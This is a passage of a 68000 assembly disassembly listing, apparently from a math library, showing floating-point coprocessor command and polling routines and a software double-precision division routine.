  628.     BEQ.S    LAB_0052        ;05CC: 67E6
  629.     CMPI    #$0900,D7        ;05CE: 0C470900
  630.     BLE.S    LAB_0052        ;05D2: 6FE0
  631.     BSR    LAB_001E        ;05D4: 6100FD86
  632.     BRA.S    LAB_0051        ;05D8: 60D4
  633. LAB_0054:
  634.     CMPI    #$8900,D7        ;05DA: 0C478900
  635.     BEQ.S    LAB_0052        ;05DE: 67D4
  636.     CMPI    #$C900,D7        ;05E0: 0C47C900
  637.     BEQ.S    LAB_0052        ;05E4: 67CE
  638. LAB_0055:
  639.     MOVE.L    D0,(A1)            ;05E6: 2280
  640.     MOVE.L    D1,(A1)            ;05E8: 2281
  641. LAB_0056:
  642.     TST    (A0)            ;05EA: 4A50
  643.     BMI.S    LAB_0056        ;05EC: 6BFC
  644. LAB_0057:
  645.     MOVE    #$5423,10(A0)        ;05EE: 317C5423000A
  646. LAB_0058:
  647.     MOVE    (A0),D7            ;05F4: 3E10
  648.     BTST    #12,D7            ;05F6: 0807000C
  649.     BEQ.S    LAB_0059        ;05FA: 6706
  650.     BTST    #11,D7            ;05FC: 0807000B
  651.     BEQ.S    LAB_005B        ;0600: 6724
  652. LAB_0059:
  653.     TST    D7            ;0602: 4A47
  654.     BMI    LAB_005A        ;0604: 6B000014
  655.     CMPI    #$4900,D7        ;0608: 0C474900
  656.     BEQ.S    LAB_0058        ;060C: 67E6
  657.     CMPI    #$0900,D7        ;060E: 0C470900
  658.     BLE.S    LAB_0058        ;0612: 6FE0
  659.     BSR    LAB_001E        ;0614: 6100FD46
  660.     BRA.S    LAB_0057        ;0618: 60D4
  661. LAB_005A:
  662.     CMPI    #$8900,D7        ;061A: 0C478900
  663.     BEQ.S    LAB_0058        ;061E: 67D4
  664.     CMPI    #$C900,D7        ;0620: 0C47C900
  665.     BEQ.S    LAB_0058        ;0624: 67CE
  666. LAB_005B:
  667.     MOVE.L    D2,(A1)            ;0626: 2282
  668.     MOVE.L    D3,(A1)            ;0628: 2283
  669. LAB_005C:
  670.     TST    (A0)            ;062A: 4A50
  671.     BMI.S    LAB_005C        ;062C: 6BFC
  672. LAB_005D:
  673.     MOVE    #$7400,10(A0)        ;062E: 317C7400000A
  674. LAB_005E:
  675.     MOVE    (A0),D7            ;0634: 3E10
  676.     BTST    #12,D7            ;0636: 0807000C
  677.     BEQ.S    LAB_005F        ;063A: 6706
  678.     BTST    #11,D7            ;063C: 0807000B
  679.     BEQ.S    LAB_0061        ;0640: 6724
  680. LAB_005F:
  681.     TST    D7            ;0642: 4A47
  682.     BMI    LAB_0060        ;0644: 6B000014
  683.     CMPI    #$4900,D7        ;0648: 0C474900
  684.     BEQ.S    LAB_005E        ;064C: 67E6
  685.     CMPI    #$0900,D7        ;064E: 0C470900
  686.     BLE.S    LAB_005E        ;0652: 6FE0
  687.     BSR    LAB_001E        ;0654: 6100FD06
  688.     BRA.S    LAB_005D        ;0658: 60D4
  689. LAB_0060:
  690.     CMPI    #$8900,D7        ;065A: 0C478900
  691.     BEQ.S    LAB_005E        ;065E: 67D4
  692.     CMPI    #$C900,D7        ;0660: 0C47C900
  693.     BEQ.S    LAB_005E        ;0664: 67CE
  694. LAB_0061:
  695.     MOVE.L    (A1),D0            ;0666: 2011
  696.     MOVE.L    (A1),D1            ;0668: 2211
  697. LAB_0062:
  698.     TST    (A0)            ;066A: 4A50
  699.     BMI.S    LAB_0062        ;066C: 6BFC
  700.     MOVE.L    (A7)+,D7        ;066E: 2E1F
  701.     RTS                ;0670: 4E75
  702.     MOVE.L    D7,-(A7)        ;0672: 2F07
  703.     MOVEA.L    36(A6),A0        ;0674: 206E0024
  704.     LEA    16(A0),A1        ;0678: 43E80010
  705. LAB_0063:
  706.     MOVE    #$5400,10(A0)        ;067C: 317C5400000A
  707. LAB_0064:
  708.     MOVE    (A0),D7            ;0682: 3E10
  709.     BTST    #12,D7            ;0684: 0807000C
  710.     BEQ.S    LAB_0065        ;0688: 6706
  711.     BTST    #11,D7            ;068A: 0807000B
  712.     BEQ.S    LAB_0067        ;068E: 6724
  713. LAB_0065:
  714.     TST    D7            ;0690: 4A47
  715.     BMI    LAB_0066        ;0692: 6B000014
  716.     CMPI    #$4900,D7        ;0696: 0C474900
  717.     BEQ.S    LAB_0064        ;069A: 67E6
  718.     CMPI    #$0900,D7        ;069C: 0C470900
  719.     BLE.S    LAB_0064        ;06A0: 6FE0
  720.     BSR    LAB_001E        ;06A2: 6100FCB8
  721.     BRA.S    LAB_0063        ;06A6: 60D4
  722. LAB_0066:
  723.     CMPI    #$8900,D7        ;06A8: 0C478900
  724.     BEQ.S    LAB_0064        ;06AC: 67D4
  725.     CMPI    #$C900,D7        ;06AE: 0C47C900
  726.     BEQ.S    LAB_0064        ;06B2: 67CE
  727. LAB_0067:
  728.     MOVE.L    D0,(A1)            ;06B4: 2280
  729.     MOVE.L    D1,(A1)            ;06B6: 2281
  730. LAB_0068:
  731.     TST    (A0)            ;06B8: 4A50
  732.     BMI.S    LAB_0068        ;06BA: 6BFC
  733. LAB_0069:
  734.     MOVE    #$5420,10(A0)        ;06BC: 317C5420000A
  735. LAB_006A:
  736.     MOVE    (A0),D7            ;06C2: 3E10
  737.     BTST    #12,D7            ;06C4: 0807000C
  738.     BEQ.S    LAB_006B        ;06C8: 6706
  739.     BTST    #11,D7            ;06CA: 0807000B
  740.     BEQ.S    LAB_006D        ;06CE: 6724
  741. LAB_006B:
  742.     TST    D7            ;06D0: 4A47
  743.     BMI    LAB_006C        ;06D2: 6B000014
  744.     CMPI    #$4900,D7        ;06D6: 0C474900
  745.     BEQ.S    LAB_006A        ;06DA: 67E6
  746.     CMPI    #$0900,D7        ;06DC: 0C470900
  747.     BLE.S    LAB_006A        ;06E0: 6FE0
  748.     BSR    LAB_001E        ;06E2: 6100FC78
  749.     BRA.S    LAB_0069        ;06E6: 60D4
  750. LAB_006C:
  751.     CMPI    #$8900,D7        ;06E8: 0C478900
  752.     BEQ.S    LAB_006A        ;06EC: 67D4
  753.     CMPI    #$C900,D7        ;06EE: 0C47C900
  754.     BEQ.S    LAB_006A        ;06F2: 67CE
  755. LAB_006D:
  756.     MOVE.L    D2,(A1)            ;06F4: 2282
  757.     MOVE.L    D3,(A1)            ;06F6: 2283
  758. LAB_006E:
  759.     TST    (A0)            ;06F8: 4A50
  760.     BMI.S    LAB_006E        ;06FA: 6BFC
  761. LAB_006F:
  762.     MOVE    #$7400,10(A0)        ;06FC: 317C7400000A
  763. LAB_0070:
  764.     MOVE    (A0),D7            ;0702: 3E10
  765.     BTST    #12,D7            ;0704: 0807000C
  766.     BEQ.S    LAB_0071        ;0708: 6706
  767.     BTST    #11,D7            ;070A: 0807000B
  768.     BEQ.S    LAB_0073        ;070E: 6724
  769. LAB_0071:
  770.     TST    D7            ;0710: 4A47
  771.     BMI    LAB_0072        ;0712: 6B000014
  772.     CMPI    #$4900,D7        ;0716: 0C474900
  773.     BEQ.S    LAB_0070        ;071A: 67E6
  774.     CMPI    #$0900,D7        ;071C: 0C470900
  775.     BLE.S    LAB_0070        ;0720: 6FE0
  776.     BSR    LAB_001E        ;0722: 6100FC38
  777.     BRA.S    LAB_006F        ;0726: 60D4
  778. LAB_0072:
  779.     CMPI    #$8900,D7        ;0728: 0C478900
  780.     BEQ.S    LAB_0070        ;072C: 67D4
  781.     CMPI    #$C900,D7        ;072E: 0C47C900
  782.     BEQ.S    LAB_0070        ;0732: 67CE
  783. LAB_0073:
  784.     MOVE.L    (A1),D0            ;0734: 2011
  785.     MOVE.L    (A1),D1            ;0736: 2211
  786. LAB_0074:
  787.     TST    (A0)            ;0738: 4A50
  788.     BMI.S    LAB_0074        ;073A: 6BFC
  789.     MOVE.L    (A7)+,D7        ;073C: 2E1F
  790.     RTS                ;073E: 4E75
  791.     MOVE.L    D7,-(A7)        ;0740: 2F07
  792.     MOVEA.L    36(A6),A0        ;0742: 206E0024
  793.     LEA    16(A0),A1        ;0746: 43E80010
  794. LAB_0075:
  795.     MOVE    #$5400,10(A0)        ;074A: 317C5400000A
  796. LAB_0076:
  797.     MOVE    (A0),D7            ;0750: 3E10
  798.     BTST    #12,D7            ;0752: 0807000C
  799.     BEQ.S    LAB_0077        ;0756: 6706
  800.     BTST    #11,D7            ;0758: 0807000B
  801.     BEQ.S    LAB_0079        ;075C: 6724
  802. LAB_0077:
  803.     TST    D7            ;075E: 4A47
  804.     BMI    LAB_0078        ;0760: 6B000014
  805.     CMPI    #$4900,D7        ;0764: 0C474900
  806.     BEQ.S    LAB_0076        ;0768: 67E6
  807.     CMPI    #$0900,D7        ;076A: 0C470900
  808.     BLE.S    LAB_0076        ;076E: 6FE0
  809.     BSR    LAB_001E        ;0770: 6100FBEA
  810.     BRA.S    LAB_0075        ;0774: 60D4
  811. LAB_0078:
  812.     CMPI    #$8900,D7        ;0776: 0C478900
  813.     BEQ.S    LAB_0076        ;077A: 67D4
  814.     CMPI    #$C900,D7        ;077C: 0C47C900
  815.     BEQ.S    LAB_0076        ;0780: 67CE
  816. LAB_0079:
  817.     MOVE.L    D0,(A1)            ;0782: 2280
  818.     MOVE.L    D1,(A1)            ;0784: 2281
  819. LAB_007A:
  820.     TST    (A0)            ;0786: 4A50
  821.     BMI.S    LAB_007A        ;0788: 6BFC
  822. LAB_007B:
  823.     MOVE    #$B000,10(A0)        ;078A: 317CB000000A
  824. LAB_007C:
  825.     MOVE    (A0),D7            ;0790: 3E10
  826.     BTST    #12,D7            ;0792: 0807000C
  827.     BEQ.S    LAB_007D        ;0796: 6706
  828.     BTST    #11,D7            ;0798: 0807000B
  829.     BEQ.S    LAB_007F        ;079C: 6724
  830. LAB_007D:
  831.     TST    D7            ;079E: 4A47
  832.     BMI    LAB_007E        ;07A0: 6B000014
  833.     CMPI    #$4900,D7        ;07A4: 0C474900
  834.     BEQ.S    LAB_007C        ;07A8: 67E6
  835.     CMPI    #$0900,D7        ;07AA: 0C470900
  836.     BLE.S    LAB_007C        ;07AE: 6FE0
  837.     BSR    LAB_001E        ;07B0: 6100FBAA
  838.     BRA.S    LAB_007B        ;07B4: 60D4
  839. LAB_007E:
  840.     CMPI    #$8900,D7        ;07B6: 0C478900
  841.     BEQ.S    LAB_007C        ;07BA: 67D4
  842.     CMPI    #$C900,D7        ;07BC: 0C47C900
  843.     BEQ.S    LAB_007C        ;07C0: 67CE
  844. LAB_007F:
  845.     MOVE.L    (A1),-(A7)        ;07C2: 2F11
  846. LAB_0080:
  847.     TST    (A0)            ;07C4: 4A50
  848.     BMI.S    LAB_0080        ;07C6: 6BFC
  849. LAB_0081:
  850.     MOVE    #$9000,10(A0)        ;07C8: 317C9000000A
  851. LAB_0082:
  852.     MOVE    (A0),D7            ;07CE: 3E10
  853.     BTST    #12,D7            ;07D0: 0807000C
  854.     BEQ.S    LAB_0083        ;07D4: 6706
  855.     BTST    #11,D7            ;07D6: 0807000B
  856.     BEQ.S    LAB_0085        ;07DA: 6724
  857. LAB_0083:
  858.     TST    D7            ;07DC: 4A47
  859.     BMI    LAB_0084        ;07DE: 6B000014
  860.     CMPI    #$4900,D7        ;07E2: 0C474900
  861.     BEQ.S    LAB_0082        ;07E6: 67E6
  862.     CMPI    #$0900,D7        ;07E8: 0C470900
  863.     BLE.S    LAB_0082        ;07EC: 6FE0
  864.     BSR    LAB_001E        ;07EE: 6100FB6C
  865.     BRA.S    LAB_0081        ;07F2: 60D4
  866. LAB_0084:
  867.     CMPI    #$8900,D7        ;07F4: 0C478900
  868.     BEQ.S    LAB_0082        ;07F8: 67D4
  869.     CMPI    #$C900,D7        ;07FA: 0C47C900
  870.     BEQ.S    LAB_0082        ;07FE: 67CE
  871. LAB_0085:
  872.     MOVE.L    #$000000A0,(A1)        ;0800: 22BC000000A0
  873. LAB_0086:
  874.     TST    (A0)            ;0806: 4A50
  875.     BMI.S    LAB_0086        ;0808: 6BFC
  876.     MOVE    #$0001,10(A0)        ;080A: 317C0001000A
  877. LAB_0087:
  878.     TST    (A0)            ;0810: 4A50
  879.     BMI.S    LAB_0087        ;0812: 6BFC
  880. LAB_0088:
  881.     MOVE    #$7400,10(A0)        ;0814: 317C7400000A
  882. LAB_0089:
  883.     MOVE    (A0),D7            ;081A: 3E10
  884.     BTST    #12,D7            ;081C: 0807000C
  885.     BEQ.S    LAB_008A        ;0820: 6706
  886.     BTST    #11,D7            ;0822: 0807000B
  887.     BEQ.S    LAB_008C        ;0826: 6724
  888. LAB_008A:
  889.     TST    D7            ;0828: 4A47
  890.     BMI    LAB_008B        ;082A: 6B000014
  891.     CMPI    #$4900,D7        ;082E: 0C474900
  892.     BEQ.S    LAB_0089        ;0832: 67E6
  893.     CMPI    #$0900,D7        ;0834: 0C470900
  894.     BLE.S    LAB_0089        ;0838: 6FE0
  895.     BSR    LAB_001E        ;083A: 6100FB20
  896.     BRA.S    LAB_0088        ;083E: 60D4
  897. LAB_008B:
  898.     CMPI    #$8900,D7        ;0840: 0C478900
  899.     BEQ.S    LAB_0089        ;0844: 67D4
  900.     CMPI    #$C900,D7        ;0846: 0C47C900
  901.     BEQ.S    LAB_0089        ;084A: 67CE
  902. LAB_008C:
  903.     MOVE.L    (A1),D0            ;084C: 2011
  904.     MOVE.L    (A1),D1            ;084E: 2211
  905. LAB_008D:
  906.     TST    (A0)            ;0850: 4A50
  907.     BMI.S    LAB_008D        ;0852: 6BFC
  908. LAB_008E:
  909.     MOVE    #$9000,10(A0)        ;0854: 317C9000000A
  910. LAB_008F:
  911.     MOVE    (A0),D7            ;085A: 3E10
  912.     BTST    #12,D7            ;085C: 0807000C
  913.     BEQ.S    LAB_0090        ;0860: 6706
  914.     BTST    #11,D7            ;0862: 0807000B
  915.     BEQ.S    LAB_0092        ;0866: 6724
  916. LAB_0090:
  917.     TST    D7            ;0868: 4A47
  918.     BMI    LAB_0091        ;086A: 6B000014
  919.     CMPI    #$4900,D7        ;086E: 0C474900
  920.     BEQ.S    LAB_008F        ;0872: 67E6
  921.     CMPI    #$0900,D7        ;0874: 0C470900
  922.     BLE.S    LAB_008F        ;0878: 6FE0
  923.     BSR    LAB_001E        ;087A: 6100FAE0
  924.     BRA.S    LAB_008E        ;087E: 60D4
  925. LAB_0091:
  926.     CMPI    #$8900,D7        ;0880: 0C478900
  927.     BEQ.S    LAB_008F        ;0884: 67D4
  928.     CMPI    #$C900,D7        ;0886: 0C47C900
  929.     BEQ.S    LAB_008F        ;088A: 67CE
  930. LAB_0092:
  931.     MOVE.L    (A7)+,(A1)        ;088C: 229F
  932. LAB_0093:
  933.     TST    (A0)            ;088E: 4A50
  934.     BMI.S    LAB_0093        ;0890: 6BFC
  935.     MOVE.L    (A7)+,D7        ;0892: 2E1F
  936.     RTS                ;0894: 4E75
  937. LAB_0094:
  938.     MOVE.L    D7,-(A7)        ;0896: 2F07
  939.     MOVEA.L    36(A6),A0        ;0898: 206E0024
  940.     LEA    16(A0),A1        ;089C: 43E80010
  941.     MOVEQ    #0,D0            ;08A0: 7000
  942.     MOVE    D0,6(A0)        ;08A2: 31400006
  943.     MOVE    6(A0),D0        ;08A6: 30280006
  944.     ANDI    #$FF00,D0        ;08AA: 0240FF00
  945.     BEQ.S    LAB_0095        ;08AE: 6702
  946.     RTS                ;08B0: 4E75
  947. LAB_0095:
  948.     TST    (A0)            ;08B2: 4A50
  949.     BMI.S    LAB_0095        ;08B4: 6BFC
  950. LAB_0096:
  951.     MOVE    #$9000,10(A0)        ;08B6: 317C9000000A
  952. LAB_0097:
  953.     MOVE    (A0),D7            ;08BC: 3E10
  954.     BTST    #12,D7            ;08BE: 0807000C
  955.     BEQ.S    LAB_0098        ;08C2: 6706
  956.     BTST    #11,D7            ;08C4: 0807000B
  957.     BEQ.S    LAB_009A        ;08C8: 6724
  958. LAB_0098:
  959.     TST    D7            ;08CA: 4A47
  960.     BMI    LAB_0099        ;08CC: 6B000014
  961.     CMPI    #$4900,D7        ;08D0: 0C474900
  962.     BEQ.S    LAB_0097        ;08D4: 67E6
  963.     CMPI    #$0900,D7        ;08D6: 0C470900
  964.     BLE.S    LAB_0097        ;08DA: 6FE0
  965.     BSR    LAB_001E        ;08DC: 6100FA7E
  966.     BRA.S    LAB_0096        ;08E0: 60D4
  967. LAB_0099:
  968.     CMPI    #$8900,D7        ;08E2: 0C478900
  969.     BEQ.S    LAB_0097        ;08E6: 67D4
  970.     CMPI    #$C900,D7        ;08E8: 0C47C900
  971.     BEQ.S    LAB_0097        ;08EC: 67CE
  972. LAB_009A:
  973.     MOVE.L    #$00000090,(A1)        ;08EE: 22BC00000090
  974. LAB_009B:
  975.     TST    (A0)            ;08F4: 4A50
  976.     BMI.S    LAB_009B        ;08F6: 6BFC
  977.     CLR.L    D0            ;08F8: 4280
  978.     MOVE.L    (A7)+,D7        ;08FA: 2E1F
  979.     RTS                ;08FC: 4E75
  980.     DC.W    $0000            ;08FE
  981.     BCLR    #31,D0            ;0900: 0880001F
  982.     RTS                ;0904: 4E75
  983.     DC.W    $0000            ;0906
  984.     BCHG    #31,D0            ;0908: 0840001F
  985.     RTS                ;090C: 4E75
  986.     DC.W    $0000            ;090E
  987.     MOVEM.L    D2-D7,-(A7)        ;0910: 48E73F00
  988.     MOVE    #$8000,D6        ;0914: 3C3C8000
  989.     MOVE    #$7FF0,D7        ;0918: 3E3C7FF0
  990.     MOVEA    D7,A0            ;091C: 3047
  991.     SWAP    D0            ;091E: 4840
  992.     SWAP    D2            ;0920: 4842
  993.     MOVE    D0,D4            ;0922: 3800
  994.     AND    D6,D4            ;0924: C846
  995.     EOR    D4,D0            ;0926: B940
  996.     AND    D2,D6            ;0928: CC42
  997.     EOR    D6,D2            ;092A: BD42
  998.     EOR    D6,D4            ;092C: BD44
  999.     CMP    D7,D0            ;092E: B047
  1000.     BLT.S    LAB_00A3        ;0930: 6D42
  1001.     CMP    D2,D0            ;0932: B042
  1002.     BLT.S    LAB_009E        ;0934: 6D18
  1003.     CMP.L    A0,D0            ;0936: B088
  1004.     BNE.S    LAB_009C        ;0938: 6604
  1005.     TST.L    D1            ;093A: 4A81
  1006.     BEQ.S    LAB_009D        ;093C: 6704
  1007. LAB_009C:
  1008.     BRA    LAB_011E        ;093E: 6000092E
  1009. LAB_009D:
  1010.     CMP    D7,D2            ;0942: B447
  1011.     BLT.S    LAB_00A0        ;0944: 6D14
  1012.     CMP.L    A0,D2            ;0946: B488
  1013.     BNE.S    LAB_009E        ;0948: 6604
  1014.     TST.L    D3            ;094A: 4A83
  1015.     BEQ.S    LAB_009F        ;094C: 6708
  1016. LAB_009E:
  1017.     MOVE.L    D2,D0            ;094E: 2002
  1018.     MOVE.L    D3,D1            ;0950: 2203
  1019.     BRA    LAB_011E        ;0952: 6000091A
  1020. LAB_009F:
  1021.     BRA    LAB_011D        ;0956: 60000908
  1022. LAB_00A0:
  1023.     TST.L    D2            ;095A: 4A82
  1024.     BNE.S    LAB_00A2        ;095C: 6612
  1025.     TST.L    D3            ;095E: 4A83
  1026.     BNE.S    LAB_00A2        ;0960: 660E
  1027. LAB_00A1:
  1028.     MOVE.L    A0,D0            ;0962: 2008
  1029.     EOR    D4,D0            ;0964: B940
  1030.     MOVEQ    #0,D1            ;0966: 7200
  1031.     SWAP    D0            ;0968: 4840
  1032.     MOVEM.L    (A7)+,D2-D7        ;096A: 4CDF00FC
  1033.     RTS                ;096E: 4E75
  1034. LAB_00A2:
  1035.     BRA    LAB_011C        ;0970: 600008DC
  1036. LAB_00A3:
  1037.     CMP    D7,D2            ;0974: B447
  1038.     BLT.S    LAB_00A6        ;0976: 6D14
  1039.     CMP.L    A0,D2            ;0978: B488
  1040.     BNE.S    LAB_00A4        ;097A: 6604
  1041.     TST.L    D3            ;097C: 4A83
  1042.     BEQ.S    LAB_00A5        ;097E: 6708
  1043. LAB_00A4:
  1044.     MOVE.L    D2,D0            ;0980: 2002
  1045.     MOVE.L    D3,D1            ;0982: 2203
  1046.     BRA    LAB_011E        ;0984: 600008E8
  1047. LAB_00A5:
  1048.     BRA    LAB_0119        ;0988: 60000896
  1049. LAB_00A6:
  1050.     MOVE    D0,D5            ;098C: 3A00
  1051.     AND    D7,D5            ;098E: CA47
  1052.     BNE.S    LAB_00A9        ;0990: 661E
  1053.     TST.L    D0            ;0992: 4A80
  1054.     BNE.S    LAB_00A8        ;0994: 6614
  1055.     TST.L    D1            ;0996: 4A81
  1056.     BNE.S    LAB_00A8        ;0998: 6610
  1057.     TST.L    D2            ;099A: 4A82
  1058.     BNE.S    LAB_00A7        ;099C: 6608
  1059.     TST.L    D3            ;099E: 4A83
  1060.     BNE.S    LAB_00A7        ;09A0: 6604
  1061.     BRA    LAB_011D        ;09A2: 600008BC
  1062. LAB_00A7:
  1063.     BRA    LAB_0119        ;09A6: 60000878
  1064. LAB_00A8:
  1065.     BSR    LAB_0105        ;09AA: 610006E4
  1066.     BRA.S    LAB_00AA        ;09AE: 6006
  1067. LAB_00A9:
  1068.     EOR    D5,D0            ;09B0: BB40
  1069.     EORI    #$0010,D0        ;09B2: 0A400010
  1070. LAB_00AA:
  1071.     AND    D2,D7            ;09B6: CE42
  1072.     BNE.S    LAB_00AC        ;09B8: 661C
  1073.     TST.L    D2            ;09BA: 4A82
  1074.     BNE.S    LAB_00AB        ;09BC: 6606
  1075.     TST.L    D3            ;09BE: 4A83
  1076.     BNE.S    LAB_00AB        ;09C0: 6602
  1077.     BRA.S    LAB_00A1        ;09C2: 609E
  1078. LAB_00AB:
  1079.     EXG    D0,D2            ;09C4: C142
  1080.     EXG    D1,D3            ;09C6: C343
  1081.     EXG    D5,D7            ;09C8: CB47
  1082.     BSR    LAB_0105        ;09CA: 610006C4
  1083.     EXG    D0,D2            ;09CE: C142
  1084.     EXG    D1,D3            ;09D0: C343
  1085.     EXG    D5,D7            ;09D2: CB47
  1086.     BRA.S    LAB_00AD        ;09D4: 6006
  1087. LAB_00AC:
  1088.     EOR    D7,D2            ;09D6: BF42
  1089.     EORI    #$0010,D2        ;09D8: 0A420010
  1090. LAB_00AD:
  1091.     SUBI    #$3FE0,D7        ;09DC: 04473FE0
  1092.     SUB    D7,D5            ;09E0: 9A47
  1093.     BVC.S    LAB_00AE        ;09E2: 6804
  1094.     BRA    LAB_011B        ;09E4: 60000856
  1095. LAB_00AE:
  1096.     SWAP    D0            ;09E8: 4840
  1097.     ASL.L    #1,D1            ;09EA: E381
  1098.     ROXL.L    #1,D0            ;09EC: E390
  1099.     SWAP    D2            ;09EE: 4842
  1100.     MOVE.L    D3,D7            ;09F0: 2E03
  1101.     MOVEQ    #11,D6            ;09F2: 7C0B
  1102.     LSL.L    D6,D2            ;09F4: EDAA
  1103.     LSL.L    D6,D3            ;09F6: EDAB
  1104.     ROL.L    D6,D7            ;09F8: EDBF
  1105.     EOR    D3,D7            ;09FA: B747
  1106.     EOR    D7,D2            ;09FC: BF42
  1107.     SWAP    D4            ;09FE: 4844
  1108.     MOVE    D5,D4            ;0A00: 3805
  1109.     MOVEA.L    D4,A1            ;0A02: 2244
  1110.     SWAP    D2            ;0A04: 4842
  1111.     DIVU    D2,D0            ;0A06: 80C2
  1112.     MOVE    D0,D4            ;0A08: 3800
  1113.     SWAP    D1            ;0A0A: 4841
  1114.     MOVE    D1,D0            ;0A0C: 3001
  1115.     CLR    D1            ;0A0E: 4241
  1116.     SWAP    D2            ;0A10: 4842
  1117.     MOVE    D2,D5            ;0A12: 3A02
  1118.     MULU    D4,D5            ;0A14: CAC4
  1119.     SWAP    D3            ;0A16: 4843
  1120.     MOVE    D3,D6            ;0A18: 3C03
  1121.     MULU    D4,D6            ;0A1A: CCC4
  1122.     SWAP    D3            ;0A1C: 4843
  1123.     MOVE    D3,D7            ;0A1E: 3E03
  1124.     MULU    D4,D7            ;0A20: CEC4
  1125.     SWAP    D7            ;0A22: 4847
  1126.     ADD    D6,D7            ;0A24: DE46
  1127.     SWAP    D7            ;0A26: 4847
  1128.     CLR    D6            ;0A28: 4246
  1129.     SWAP    D6            ;0A2A: 4846
  1130.     ADDX.L    D5,D6            ;0A2C: DD85
  1131.     SUB.L    D7,D1            ;0A2E: 9287
  1132.     SUBX.L    D6,D0            ;0A30: 9186
  1133.     BCC    LAB_00AF        ;0A32: 64000008
  1134.     SUBQ    #1,D4            ;0A36: 5344
  1135.     ADD.L    D3,D1            ;0A38: D283
  1136.     ADDX.L    D2,D0            ;0A3A: D182
  1137. LAB_00AF:
  1138.     MOVE    D4,-(A7)        ;0A3C: 3F04
  1139.     CLR.L    D5            ;0A3E: 4285
  1140.     MOVE.L    D0,D6            ;0A40: 2C00
  1141.     SWAP    D2            ;0A42: 4842
  1142.     DIVU    D2,D0            ;0A44: 80C2
  1143.     BVC.S    LAB_00B0        ;0A46: 6814
  1144.     CLR    D4            ;0A48: 4244
  1145.     MOVE.L    D6,D0            ;0A4A: 2006
  1146.     SUB.L    D3,D1            ;0A4C: 9283
  1147.     SWAP    D2            ;0A4E: 4842
  1148.     SUBX.L    D2,D0            ;0A50: 9182
  1149.     SWAP    D0            ;0A52: 4840
  1150.     SWAP    D1            ;0A54: 4841
  1151.     MOVE    D1,D0            ;0A56: 3001
  1152.     CLR    D1            ;0A58: 4241
  1153.     BRA.S    LAB_00B1        ;0A5A: 602C
  1154. LAB_00B0:
  1155.     MOVE    D0,D4            ;0A5C: 3800
  1156.     SWAP    D1            ;0A5E: 4841
  1157.     MOVE    D1,D0            ;0A60: 3001
  1158.     CLR    D1            ;0A62: 4241
  1159.     SWAP    D2            ;0A64: 4842
  1160.     MOVE    D2,D5            ;0A66: 3A02
  1161.     MULU    D4,D5            ;0A68: CAC4
  1162.     SWAP    D3            ;0A6A: 4843
  1163.     MOVE    D3,D6            ;0A6C: 3C03
  1164.     MULU    D4,D6            ;0A6E: CCC4
  1165.     SWAP    D3            ;0A70: 4843
  1166.     MOVE    D3,D7            ;0A72: 3E03
  1167.     MULU    D4,D7            ;0A74: CEC4
  1168.     SWAP    D7            ;0A76: 4847
  1169.     ADD    D6,D7            ;0A78: DE46
  1170.     SWAP    D7            ;0A7A: 4847
  1171.     CLR    D6            ;0A7C: 4246
  1172.     SWAP    D6            ;0A7E: 4846
  1173.     ADDX.L    D5,D6            ;0A80: DD85
  1174.     SUB.L    D7,D1            ;0A82: 9287
  1175.     SUBX.L    D6,D0            ;0A84: 9186
  1176.     BCC.S    LAB_00B2        ;0A86: 640E
  1177. LAB_00B1:
  1178.     SUBQ    #1,D4            ;0A88: 5344
  1179.     ADD.L    D3,D1            ;0A8A: D283
  1180.     ADDX.L    D2,D0            ;0A8C: D182
  1181.     BCS.S    LAB_00B2        ;0A8E: 6506
  1182.     SUBQ    #1,D4            ;0A90: 5344
  1183.     ADD.L    D3,D1            ;0A92: D283
  1184.     ADDX.L    D2,D0            ;0A94: D182
  1185. LAB_00B2:
  1186.     MOVE    D4,-(A7)        ;0A96: 3F04
  1187.     MOVE.L    D0,D6            ;0A98: 2C00
  1188.     SWAP    D2            ;0A9A: 4842
  1189.     DIVU    D2,D0            ;0A9C: 80C2
  1190.     BVC.S    LAB_00B3        ;0A9E: 6812
  1191.     CLR    D4            ;0AA0: 4244
  1192.     MOVE.L    D6,D0            ;0AA2: 2006
  1193.     SUB.L    D3,D1            ;0AA4: 9283
  1194.     SWAP    D2            ;0AA6: 4842
  1195.     SUBX.L    D2,D0            ;0AA8: 9182
  1196.     SWAP    D0            ;0AAA: 4840
  1197.     SWAP    D1            ;0AAC: 4841
  1198.     MOVE    D1,D0            ;0AAE: 3001
  1199.     BRA.S    LAB_00B4        ;0AB0: 602C
  1200. LAB_00B3:
  1201.     MOVE    D0,D4            ;0AB2: 3800
  1202.     SWAP    D1            ;0AB4: 4841
  1203.     MOVE    D1,D0            ;0AB6: 3001
  1204.     CLR    D1            ;0AB8: 4241
  1205.     SWAP    D2            ;0ABA: 4842
  1206.     MOVE    D2,D5            ;0ABC: 3A02
  1207.     MULU    D4,D5            ;0ABE: CAC4
  1208.     SWAP    D3            ;0AC0: 4843
  1209.     MOVE    D3,D6            ;0AC2: 3C03
  1210.     MULU    D4,D6            ;0AC4: CCC4
  1211.     SWAP    D3            ;0AC6: 4843
  1212.     MOVE    D3,D7            ;0AC8: 3E03
  1213.     MULU    D4,D7            ;0ACA: CEC4
  1214.     SWAP    D7            ;0ACC: 4847
  1215.     ADD    D6,D7            ;0ACE: DE46
  1216.     SWAP    D7            ;0AD0: 4847
  1217.     CLR    D6            ;0AD2: 4246
  1218.     SWAP    D6            ;0AD4: 4846
  1219.     ADDX.L    D5,D6            ;0AD6: DD85
  1220.     SUB.L    D7,D1            ;0AD8: 9287
  1221.     SUBX.L    D6,D0            ;0ADA: 9186
  1222.     BCC.S    LAB_00B5        ;0ADC: 640C
  1223. LAB_00B4:
  1224.     SUBI    #$0001,D4        ;0ADE: 04440001
  1225.     ADD.L    D2,D0            ;0AE2: D082
  1226.     BCS.S    LAB_00B5        ;0AE4: 6504
  1227.     SUBQ    #1,D4            ;0AE6: 5344
  1228.     ADD.L    D2,D0            ;0AE8: D082
  1229. LAB_00B5:
  1230.     MOVE    D4,-(A7)        ;0AEA: 3F04
  1231.     SWAP    D2            ;0AEC: 4842
  1232.     DIVU    D2,D0            ;0AEE: 80C2
  1233.     BVC.S    LAB_00B6        ;0AF0: 6804
  1234.     MOVEQ    #0,D4            ;0AF2: 7800
  1235.     BRA.S    LAB_00B7        ;0AF4: 602C
  1236. LAB_00B6:
  1237.     MOVE    D0,D4            ;0AF6: 3800
  1238.     SWAP    D1            ;0AF8: 4841
  1239.     MOVE    D1,D0            ;0AFA: 3001
  1240.     CLR    D1            ;0AFC: 4241
  1241.     SWAP    D2            ;0AFE: 4842
  1242.     MOVE    D2,D5            ;0B00: 3A02
